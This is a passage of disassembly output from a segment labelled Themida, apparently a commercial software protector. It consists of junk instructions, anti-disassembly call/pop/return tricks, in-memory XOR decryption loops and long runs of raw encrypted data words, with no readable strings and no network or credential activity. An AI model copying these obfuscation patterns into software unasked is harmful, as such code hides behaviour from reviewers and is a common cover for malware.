push ebx
retn
sub_596C5B endp
; ---------------------------------------------------------------------------
rol dword ptr [edi+22h], cl
jmp loc_596C87
; ---------------------------------------------------------------------------
db 9Eh
dd 3F8876Ah, 76DAC823h, 0DFB8A45Fh, 57BD7484h
db 56h, 66h, 9
; ---------------------------------------------------------------------------
loc_596C87: ; CODE XREF: Themida_:00596C6Ej
; Themida_:00596C91j
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_596C87
push 0
push esi
call sub_596C9E
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_596C9E proc near ; CODE XREF: Themida_:00596C96p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_596C9E endp
; ---------------------------------------------------------------------------
xchg eax, edi
db 66h
clc
mov [ebp+61221A1h], esi
or eax, 88h
push 0
push esi
call sub_596CC7
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_596CC7 proc near ; CODE XREF: Themida_:00596CBFp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_596CC7 endp
; ---------------------------------------------------------------------------
sti
wait
push ebx
aaa
push 0F74023FBh
mov edx, [ebp+61209A1h]
mov ecx, [ebp+6120505h]
mov edi, [ebp+61203C5h]
push eax
mov eax, edx
mov ebx, [eax]
add eax, ecx
mov ebx, [eax]
mov eax, ecx
shr eax, 1
add eax, edx
mov ebx, [eax]
pop eax
push 0
push ecx
call sub_596D0F
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_596D0F proc near ; CODE XREF: Themida_:00596D07p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_596D0F endp
; ---------------------------------------------------------------------------
pop ebx
xchg eax, edi
fnsave byte ptr [esp+edx*4-75h]
popf
adc [eax], edx
adc al, [esi]
add ebx, [ebp+6121F59h]
push ebx
mov di, ax
pop edi
cmp dword ptr [ebp+6122121h], 0
jz loc_596DAF
push 0
push edi
call sub_596D4D
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_596D4D proc near ; CODE XREF: Themida_:00596D45p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_596D4D endp
; ---------------------------------------------------------------------------
db 0F7h, 0B5h, 0E5h
dd 7E81A0Dh, 0B6000000h, 1930BB0Eh, 5F56CCA3h, 0B85Fh
dd 8E90000h, 2B000000h, 809A7BEFh, 8DDCC96Fh, 124DB58Dh
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h
dd 0C3504000h, 7985312Fh, 0FF06121Bh
db 0E1h, 0B7h, 23h
; ---------------------------------------------------------------------------
loc_596DAF: ; CODE XREF: Themida_:00596D3Cj
cmp dword ptr [ebp+6121BD9h], 0
jz loc_5971C6
push 0
push edi
call sub_596DC7
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_596DC7 proc near ; CODE XREF: Themida_:00596DBFp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_596DC7 endp
; ---------------------------------------------------------------------------
db 38h
dd 0BD8308FFh, 6121BD9h, 0FA840F01h, 29000003h, 120065BDh
dd 0D9BD8306h, 306121Bh, 3B1860Fh, 0E8F80000h, 11h, 99255B1Ch
dd 9D0B55F8h, 8CAD1167h, 0BC494ECFh, 0CF8166F5h, 605B271Dh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 6CC35040h
dd 43AA2A48h, 21AB4772h, 663FB727h, 6AD98Ch, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 180424h, 51410000h, 7FB844C3h
dd 0BD8BB8FBh, 61203E9h, 6A04E180h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0BFD2C353h
dd 21772E44h, 840FC90Ah, 12Fh, 0CFA3BB66h, 308D858Bh, 6A0612h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
dd 0B80A32C3h, 2C7A4B55h, 8B5EB497h, 658533D9h, 0E8061231h
dd 14h, 0F947B0E7h, 0C2565B97h, 0C79C471Dh, 0EC815893h
dd 1E1A263Eh, 261BD89h, 505B0612h, 489D98Bh, 57006A24h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 9276575Dh, 70F458B0h, 0DA8BC883h, 0DFB7006Ah, 2A582068h
dd 0D98B66AEh, 0DF240481h, 6051F4ABh, 20158D01h, 0B8660612h
dd 0FF613047h, 12237995h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 3AD4DEF8h
dd 66D3E718h, 9D89FE8Bh, 612140Dh, 0C8128589h, 6A0615h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
dd 0D24B8DC3h, 9DA395Ah, 122F3185h, 95BD3306h, 0E9061217h
dd 185h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 15h, 67C35747h, 11BD898Dh, 8B061218h, 15C80A85h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
dd 2AB86936h, 0E652F57Ah, 0E9FE8B33h, 0Bh, 0FA96CACAh
dd 0D35825B8h, 0C7C14493h, 1800h, 85BD2300h, 8B061201h
dd 15C80EB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1A04h, 0C3554500h, 0DA8634D0h, 8B32EE44h, 122AB985h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h
dd 0C3534300h, 619C8937h, 0BBAB919Bh, 0A59D8BFFh, 89061207h
dd 0DBBF0F06h, 308D858Bh, 35BF0612h, 893C7391h, 6A0446h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
dd 493202C3h, 0E850AD68h, 6, 9791EFA1h, 3CBF6183h, 5F70884Eh
dd 0FF243489h, 15C80AB5h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 5D9D29DDh
dd 68061206h, 100AB1FCh, 0F88B6651h, 2434815Bh, 1015B203h
dd 0BE9h, 54897F00h, 448B77BDh, 7BA8E6F9h, 0C812858Dh
dd 0DB800615h, 77BF50CFh, 891FB167h, 95892404h, 6122F89h
dd 237995FFh, 0EE90612h, 0DF000000h, 0F6C2992Fh, 0CCDD5F65h
dd 0EC2B2286h, 6A6128h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 180424h, 55450000h, 4EE157C3h, 85C7A54Bh, 6121BD9h
dd 3, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h
dd 0E0C35646h, 0F4819096h, 0C812BD83h, 0F000615h, 2E84h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h
dd 0C3514100h, 5B3C8876h, 9092EB81h, 1FE93418h, 66000000h
dd 508430BBh, 110C30h, 0C1011144h, 443010E8h, 4C000211h
dd 83580311h, 0E77504E9h
; ---------------------------------------------------------------------------
jmp short loc_5971FC
; ---------------------------------------------------------------------------
loc_5971C6: ; CODE XREF: Themida_:00596DB6j
; Themida_:005971DDj
push eax
xor [ecx+edx], al
add [ecx+edx+1], ah
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], ah
pop eax
sub ecx, 4
jnz short loc_5971C6
jmp short loc_5971FC
; ---------------------------------------------------------------------------
loc_5971E1: ; CODE XREF: Themida_:005971F8j
push eax
shr eax, 10h
sub [ecx+edx+3], ah
xor [ecx+edx+2], al
pop eax
sub [ecx+edx+1], ah
xor [ecx+edx], al
sub ecx, 4
jnz short loc_5971E1
jmp short $+2
loc_5971FC: ; CODE XREF: Themida_:005971C4j
; Themida_:005971DFj
mov eax, eax
push 0
push eax
call sub_597209
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_597209 proc near ; CODE XREF: Themida_:00597201p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_597209 endp
; ---------------------------------------------------------------------------
db 0E6h, 89h, 8Dh
; ---------------------------------------------------------------------------
sub [esi], esp
adc al, [esi]
pusha
mov esi, ebx
mov ebx, [ebp+61201B9h]
popa
push 0
push ecx
call sub_597235
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_597235 proc near ; CODE XREF: Themida_:0059722Dp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_597235 endp
; ---------------------------------------------------------------------------
db 1Ah, 9Dh, 60h
dd 0B87F7F1Ch, 0DE9F0h, 0DDF20000h, 7AB50A61h, 0DD303F76h
dd 83AEC827h, 121BD9BDh, 850F0306h, 351h, 2498D89h, 0BD830612h
dd 615C812h, 3E840F00h, 0E8000003h, 0Bh, 0E05C2BF2h, 0A6DBD8F4h
dd 3663103h, 120D5D9Dh, 0B70F5F06h, 12B5FFDEh, 890615C8h
dd 12107585h, 0A995FF06h, 0F06121Ah, 28Bh, 8B99B300h, 15C806B5h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h
dd 0C3534300h, 0BB31C625h, 66579044h, 6860Fh, 95010000h
dd 6121819h, 106C7h, 890F0001h, 6, 0E12AEF81h, 505011D7h
dd 61605352h, 5A310F5Bh, 24348958h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ah, 9CC35141h, 5F4BB8C0h, 8B66BAA3h
dd 11E9DAh, 80D40000h, 0C88E6D9h, 2D39E78Eh, 352D7A32h
dd 0FFAC71B1h, 15C812B5h, 9E96006h, 6F000000h, 8362F16Dh
dd 328CFA42h, 61CA8B66h, 1C0595FFh, 0B9BF0612h, 8B50B601h
dd 15C806B5h, 0FDBD8B06h, 8B06121Eh, 1201A585h, 99D8906h
dd 89061224h, 0C486h, 0A1958B00h, 83061209h, 9D3104C2h
dd 6121E45h, 66205089h, 8D8680BBh, 15DC6F85h, 6DD78106h
dd 8946759Dh, 0B886h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 6A5CBDh, 0FE9h, 14236F00h
dd 607F6E4h, 0DA4A5C35h, 0DA178970h, 2F4DB589h, 0B5FF0612h
dd 615C812h, 31BB6651h, 0B70F5F19h, 0A595FFF9h, 89061206h
dd 1229D195h, 0BB669606h, 0E950245Ah, 9, 0A14F9B2h, 4262D6CAh
dd 0BD8B96E3h, 6121311h, 0C812B5FFh, 6A0615h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 39DC68C3h
dd 6A52B1C4h, 0BF526123h, 7F79E242h, 8195FF5Bh, 6A061202h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h
dd 47000000h, 514CC357h, 0FE86Dh, 785D0000h, 0D7764267h
dd 0B4792F7h, 0AAB65627h, 0C59D8BC7h, 5F061221h, 2A09BD83h
dd 0F000612h, 1284h, 0C98D2900h, 5006122Dh, 3489DF8Bh
dd 3DBD8B24h, 0FF061209h, 15C812B5h, 0F88B6606h, 18C195FFh
dd 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
dd 56460000h, 7AD82DC3h, 2730CBBh, 0DE8B6623h, 0C812B5FFh
dd 85890615h, 612116Dh, 1BA195FFh, 6A0612h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 881676C3h
dd 2F9C2F5Ch, 83E1045Ch, 121EB1BDh, 840F0206h, 68h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0EBC35141h, 0CBD242EBh
dd 4EB2637Eh, 3A5858Bh, 6A0612h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 160424h, 51410000h, 0DC31B9C3h, 3773DF81h
dd 0BF0F56CAh, 0F99D8BD8h, 0C6061214h, 9E90000h, 5B000000h
dd 0BDD0718Dh, 0C9000D9Bh, 1B5985C7h, 612h, 6A0000h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
dd 3BC80AC3h, 548529F5h, 0EE2B67BFh, 0F4A8E942h, 6AFFFFh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 0C18B2CC3h, 30099D8Bh, 858D0612h, 6122E01h, 50D8B70Fh
dd 128C0Fh, 0DE90000h, 0D3000000h, 178EFCD3h, 34505B49h
dd 320B9406h, 8B240489h, 121CCDBDh, 6A006A06h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
dd 0FDCC355h, 687h, 75950900h, 6A06120Eh, 0FE900h, 21AE0000h
dd 3FA1710Ch, 8E885F5h, 0E789A0BFh, 0C5858D0Ah, 0F06170Dh
dd 0C083DBB7h, 6E905h, 0E1920000h, 51C91A03h, 66525050h
dd 310FFA8Bh, 0FDEEBE60h, 850F387Fh, 0
; ---------------------------------------------------------------------------
popa
pop edx
pop eax
mov [esp], eax
push 0
push esi
call sub_59768D
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59768D proc near ; CODE XREF: Themida_:00597685p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_59768D endp
; ---------------------------------------------------------------------------
xchg eax, edi
mov edi, [ebp+6121881h]
push 0
push 0
push ebp
call sub_5976B1
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5976B1 proc near ; CODE XREF: Themida_:005976A9p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_5976B1 endp
; ---------------------------------------------------------------------------
db 0F1h, 0DAh, 0D5h
dd 4CFCD986h, 6A006AE5h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 18042444h, 42000000h, 5AB7C352h, 8B00772Ch
dd 1214ADBDh, 0B595FF06h, 6A06120Dh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0B695C355h
dd 0E2EF9CEFh, 58A74630h, 0AF028D8Dh, 6A0615h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 0E4B90DC3h, 2695BD8Bh, 0D1FF0612h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 0DCC35242h, 939133D8h, 0FBF6662h
dd 0ADBD8315h, 1061207h, 61850Fh, 95890000h, 6121029h
dd 6A026Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
dd 55450000h, 0DE4CC3h, 0AB2746B0h, 0B1BD8941h, 90061234h
dd 461E36BFh, 0BF565019h, 142591Fh, 0FE8905Fh, 53000000h
dd 11992CA4h, 3291106Fh, 3C5E6EB6h, 0FF5FBD51h, 1206A595h
dd 558D0906h, 0E9061200h, 0DB4h, 0E8h, 0ED815D00h, 6170DCFh
dd 1DBD8Bh, 6A0612h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h, 57470000h, 6E595AC3h, 0D88B783Fh, 2783DBBFh
dd 37858D43h, 0F061594h, 689h, 1DB52900h, 50061211h, 489DF8Bh
dd 64FA8A24h, 35FFh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 160424h, 57470000h, 54B0DEC3h, 9E9h, 0FAE0A200h
dd 0D1A4A6A2h, 89647B07h, 25h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0DF62F50Ah
dd 1AE488CEh, 2D8D9D8Bh, 8D890612h, 61207CDh, 67985FFh
dd 0BD890612h, 6121A29h, 8B60FF6Ah, 12200995h, 3D8D8B06h
dd 61061203h, 268DB5FFh, 6A0612h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1B0424h, 56460000h, 9E09CBC3h, 612C8C9Ch
dd 0B595FFCBh, 0E906122Ch, 11Ah, 68F0Fh, 95890000h, 6122DDDh
dd 0DE800B0h, 0AE000000h, 0E4CEC327h, 395576D0h, 0DD8B7E23h
dd 5FFBB70Fh, 9D8B70E6h, 6122AF1h, 805671E4h, 95FA9C3h
dd 121E51B5h, 0F613C06h, 0D983h, 0F06B300h, 0E781C8B6h
dd 13C3F4F4h, 6BAh, 0E567BB00h, 0C18B5974h, 4E8C1F8h, 0FFD38166h
dd 0E2F76674h, 5E9h, 24427D00h, 0C82B1E02h, 67EBCF81h
dd 0D18B5E28h, 9BE992B7h, 0F000000h, 1589h, 10E900h, 1D640000h
dd 2E4E5A89h, 83A5230Eh, 9A56C3EFh, 858BE09Dh, 47554C50h
dd 0AE9h, 7D1CBE00h, 1ADB6C56h, 83CA28B1h, 0BD8B07C0h
dd 61214A9h, 8900C083h, 1211719Dh, 0FD03B06h, 1483h, 0A19D2300h
dd 0E9061211h, 46h, 8BFBB70Fh, 120DA59Dh, 0FF8D8B06h, 8BFFFFFFh
dd 121F8DBDh, 0FDF78106h, 83195280h, 840F01E1h, 22h, 341BB66h
dd 0FFFFA583h, 89FEFFFFh, 1228B19Dh, 50958906h, 8B47554Ch
dd 1204B59Dh, 0E906h, 0B58D0000h, 6168918h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0ECC35040h, 0DEC0D249h
dd 9D8B0AACh, 612172Dh, 8166006Ah, 0FFE177CBh, 1219CD95h
dd 1D9D8B06h, 0B906122Fh, 0EE9h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ch, 0D2C35141h, 0F75879F1h, 0D51FD58Dh
dd 15BD8Bh, 60510612h, 8BDFBF0Fh, 895F61D9h, 1207A99Dh
dd 0FCE18306h, 8AFEBF0Fh, 6AFCDCh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 190424h, 55450000h, 7F0D88C3h, 2B15C926h
dd 0F88B66C0h, 0BAh, 33BB6600h, 0C233AD73h, 0D003E8D1h
dd 7504E983h, 50006AF4h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1604h, 0C3504000h, 6A3D9C25h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1C042444h, 43000000h, 2C11C353h, 0ABD6E574h
dd 81292D26h, 929F77CBh, 880D3Eh, 0BD2B0000h, 6121AADh
dd 41D9D31h, 958B0612h, 61209A1h, 2899D8Bh, 8D8B0612h
dd 6120505h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 15h, 0DCC35040h, 0C28B50AEh, 0C103188Bh, 0C18B188Bh
dd 0C203E8D1h, 6A58188Bh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 19042444h, 47000000h, 6B0FC357h, 6A58D680h
dd 2F219D89h, 0BD8B0612h, 6121345h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 16h, 0A3C35040h, 816619B5h, 83E285CFh
dd 122121BDh, 840F0006h, 58h, 1B3D9D0Bh, 0B80612h, 29000000h
dd 122F299Dh, 0B58D8D06h, 6A06124Dh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0C8D1C355h
dd 85899DA8h, 61219D1h, 1EB9B589h, 0E1FF0612h, 8E8h, 0FE6AAF00h
dd 8CF035C2h, 69BD8B20h, 5F06120Dh, 1BD9BD83h, 0F000612h
dd 4CB84h, 0CDBD2300h, 83061209h, 121BD9BDh, 840F0106h
dd 4D3h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ch, 7AC35242h, 666D024Dh, 33D1B816h, 2880Fh, 0FE8A0000h
dd 1BD9BD83h, 0F030612h, 46486h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 6CE3528h, 60912D1Eh
dd 66D9B70Fh, 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 190424h, 56460000h, 6AA778C3h, 66998E26h, 0DCD3CF81h
dd 0A870Fh, 5E90000h, 65000000h, 1B341339h, 6A04E180h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 15A7C351h, 68D0Fh, 0BD2B0000h, 6121181h
dd 840FC90Ah, 130h, 9589F960h, 6121859h, 8D858B61h, 60061230h
dd 9D8960B2h, 61229B5h, 65853361h, 0F061231h, 8B50DEBFh
dd 240489FEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 17h, 0F2C35343h, 8BC44A2Eh, 122D7DBDh, 259D8B06h, 0B306121Fh
dd 6A006AEEh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 18042444h, 40000000h, 3FCEC350h, 8A0DF218h, 505968DAh
dd 8B669C40h, 240481FAh, 63DEB3A6h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 14h, 76C35747h, 2D219D8Bh, 5F520612h
dd 237995FFh, 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 150424h, 56460000h, 8112E6C3h, 3E5DF2CBh, 12858945h
dd 6A0615C8h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1D042444h, 46000000h, 7089C356h, 0BF66644Eh, 813A0F7Eh
dd 207E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1C04h, 0C3554500h, 13669025h, 0CEC8C7BBh, 0DA8B60E3h
dd 61E6C980h, 0C80A858Bh, 6E80615h, 0AB000000h, 0A3B982EBh
dd 0C75FACh, 18h, 12E9h, 54C51600h, 8E257A9h, 667C2C59h
dd 953ECDC7h, 8BC521D9h, 15C80EB5h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 858BA320h
dd 6122AB9h, 84D838BBh, 29068915h, 123139B5h, 8D858B06h
dd 6A061230h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1B042444h, 43000000h, 6C94C353h, 0BB236411h, 816631B7h
dd 0F52F8CCBh, 6A044689h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1A042444h, 41000000h, 82A7C351h, 1665871Dh
dd 598D31FDh, 96061222h, 820F5250h, 6, 870Fh, 310F0000h
dd 585A38B3h, 96FA8B50h, 6E9h, 5A67C000h, 0FF0B0D3Ch, 15C80AB5h
dd 5DBD2306h, 0E8061229h, 4, 1F03FFh, 8A50D98Bh, 24448BFEh
dd 0A860F04h, 50000000h, 0F616052h, 5A616031h, 0E9008B58h
dd 9, 52719F7Ah, 0BADB4C2Ah, 24448933h, 0DE804h, 3950000h
dd 0B445D8AEh, 0D4024A34h, 509ADF8Eh, 0AE952h, 56A90000h
dd 0F34A67F0h, 3CD26DB6h, 0BB66310Fh, 585A0018h, 6A585Fh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
dd 3ED375C3h, 0DE82643h, 0D4000000h, 0C317B8ACh, 3148F9FEh
dd 2F7172BDh, 0D62505BFh, 81665F3Ah, 8D7569D7h, 15C81285h
dd 0FABF0F06h, 50FD8A90h, 0DB7DBB66h, 53006A90h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 6F2DE421h, 8BEF3C1Ch, 120CD59Dh, 5E906h, 99560000h
dd 0FF93010Bh, 12237995h, 0FFBF0F06h, 57006A61h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 0F8516528h, 0D95B589h, 85C70612h, 6121BD9h, 3, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 14h, 7FC35040h, 0F8D28160h
dd 8B1FEF72h, 0BD8361D1h, 615C812h, 62840F00h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h
dd 43000000h, 28A9C353h, 3681C292h, 8D0F85ECh, 6, 2BED9D8Bh
dd 85890612h, 6120DB9h, 43E9h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 892D06AFh
dd 49DF13CAh, 0B70F9A93h, 0C3050D9h, 11440011h, 10E8C101h
dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
dd 0E77504E9h, 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 18h, 59C35747h, 82FE842h, 6C93EF81h, 6A2708h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 450B3DC3h, 9D29DF45h, 6122FF1h, 0BD83D88Bh, 6121BD9h
dd 0D6850F03h, 6A000003h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 80CBC356h, 14EB8576h
dd 83B29D4Ch, 15C812BDh, 840F0006h, 3A5h, 1F099D03h, 0B5FF0612h
dd 615C812h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 18h, 4BC35343h, 0A339D52Fh, 0BE960h, 48D00000h, 882EA02Eh
dd 0EB5C2444h, 0BE9CDh, 724E0000h, 0E4044E4h, 0CA73D45Dh
dd 95FF6125h, 6121AA9h, 0B58BF88Bh, 615C806h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 23C35141h, 0C31A7D78h
dd 0F6F78153h, 0C74456E1h, 1000106h, 8E900h, 7AC30000h
dd 9A741B74h, 0E9506E63h, 0Fh, 69D6C36Fh, 0F7E7EC18h, 557B222h
dd 89A5EE41h, 0BD8B2434h, 6122369h, 0C812B5FFh, 6A0615h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
dd 621941C3h, 0F6CAAA1Bh, 9021F781h, 850F4917h, 6, 23159D8Bh
dd 95FF0612h, 6121C05h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ah, 27C35141h, 0D87DD66Fh, 13E9C0EAh, 0D1000000h
dd 0FCFA1219h, 14C5D667h, 96C448B6h, 0B21931CCh, 0B58BFFFCh
dd 615C806h, 289DBD89h, 858B0612h, 61201A5h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 87C35747h, 0F655E58Dh
dd 12ACC6D6h, 859D8B4Fh, 0F8061215h, 0F88B6656h, 0C486895Bh
dd 0E9000000h, 7, 9978FFE8h, 8B4743D5h, 1209A195h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 0BF52092Eh, 30C27987h, 0DE95Bh, 0ADF70000h, 0E484CFA2h
dd 0AA295026h, 83297440h, 42B704C2h, 1205089h, 1209BD9Dh
dd 6F858D06h, 890615DCh, 121455BDh, 0B8868906h, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 37B0C351h, 0B5FF006Ah, 615C812h, 0E799589h
dd 95FF0612h, 61206A5h, 96FEB70Fh, 6AB96660h, 0B4BB66E7h
dd 0E95061FAh, 10h, 5CD33392h, 7A1B5288h, 3312889Ch, 88F68F53h
dd 53006A96h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h
dd 0C3534300h, 9F9BB7D5h, 108B9368h, 9D8BF4FDh, 61212C5h
dd 0C812B5FFh, 95FF0615h, 6120281h, 451BD8Bh, 0BD830612h
dd 6122A09h, 61840F00h, 51000000h, 11E9h, 505EBA00h, 0AB1A5531h
dd 0F38F768Ah, 7861BBE5h, 505FC81Bh, 2830F60h, 53000000h
dd 0EE858h, 0C9E0000h, 0F839A844h, 0E56CC8F5h, 0C5D0695Eh
dd 0CE8h, 0B963D00h, 91548D64h, 0D2976ACEh, 6158588Eh
dd 0E8243489h, 9, 0AF0F1904h, 2CD1FBC6h, 95BD8B34h, 5F061203h
dd 0C812B5FFh, 64B70615h, 5513BB66h, 18C195FFh, 6A0612h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 95C641C3h, 798D89F1h, 0FF061210h, 15C812B5h, 3DBD8906h
dd 0FF061210h, 121BA195h, 0C5BD8B06h, 83061203h, 121EB1BDh
dd 840F0206h, 54h, 858BDF8Bh, 61203A5h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 1Bh, 3FC35141h, 0CCE5EAF7h
dd 0C65BFC2Eh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1C0424h, 52420000h, 8873D2C3h, 0A94DAB93h, 0C3B7DBDEh
dd 1B5985C7h, 612h, 8E0F0000h, 5, 0D7F38166h, 0F34AE975h
dd 9531FFFFh, 6123075h, 6AC18Bh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1A0424h, 53430000h, 0C4EC87C3h, 0BADE26BAh
dd 7E9h, 0D27F9900h, 0A9B5B3E6h, 2E01858Dh, 6A0612h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 9447E5C3h, 8B85039Ah, 1207CDBDh, 10E806h, 0D2F00000h
dd 0E442BD41h, 5F4C6E54h, 0E3BBAFBAh, 0B589E14Fh, 6121915h
dd 30B3905Bh, 2890F50h, 53000000h, 6A905Bh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 160424h, 50400000h, 0D26286C3h
